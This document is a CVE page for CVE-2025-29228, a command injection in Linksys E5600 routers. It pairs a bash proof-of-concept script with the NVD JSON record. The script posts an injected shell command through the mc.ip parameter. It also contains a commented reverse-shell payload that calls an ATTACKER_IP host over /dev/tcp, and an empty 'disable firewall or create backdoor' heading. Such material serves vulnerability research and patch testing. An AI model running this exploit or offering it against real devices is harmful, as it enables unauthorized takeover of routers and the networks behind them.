CVE-2025-29228

#!/bin/bash # CVE-2025-29228 PoC - Linksys E5600 Command Injection # Target: Linksys E5600 V1.1.0.26 # Vulnerability: Command injection via mc.ip parameter in runtime.macClone function TARGET_IP="192.168.1.1" # Try to execute a simple command injection to verify vulnerability echo "[*] Testing CVE-2025-29228 on $TARGET_IP" # Method 1: Basic command injection test PAYLOAD=';echo test> /tmp/poc_test.txt' curl -s -X POST "http://$TARGET_IP/cgi-bin/luci/;stok=/admin/runtime.macClone" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "mc.ip=$PAYLOAD" \ -H "Cookie: sysauth=xxx" # Method 2: Reverse shell payload example (for authorized testing only) # Replace ATTACKER_IP and ATTACKER_PORT with your values # PAYLOAD=';bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1' # Method 3: Disable firewall or create backdoor echo "[*] Vulnerability confirmed if /tmp/poc_test.txt exists on target" echo "[*] Check: curl http://$TARGET_IP/tmp/poc_test.txt"

{"cve": {"id": "CVE-2025-29228", "sourceIdentifier": "[email protected]", "published": "2025-12-23T17:15:46.850", "lastModified": "2026-01-06T17:33:02.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Linksys E5600 V1.1.0.26 is vulnerable to command injection in the runtime.macClone function via the mc.ip parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linksys:e5600_firmware:1.1.0.26:*:*:*:*:*:*:*", "matchCriteriaId": "6E8CA102-9DA8-4F5A-A80F-2E6EBE4D64B8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:linksys:e5600:-:*:*:*:*:*:*:*", "matchCriteriaId": "CA6D6638-5946-4B18-B071-32E262754420"}]}]}], "references": [{"url": "https://github.com/JZP018/Vuln/blob/main/linsys/E5600/CI_macClone_mc.ip/CI_macClone_mc.ip.md", "source": "[email protected]", "tags": ["Broken Link"]}]}}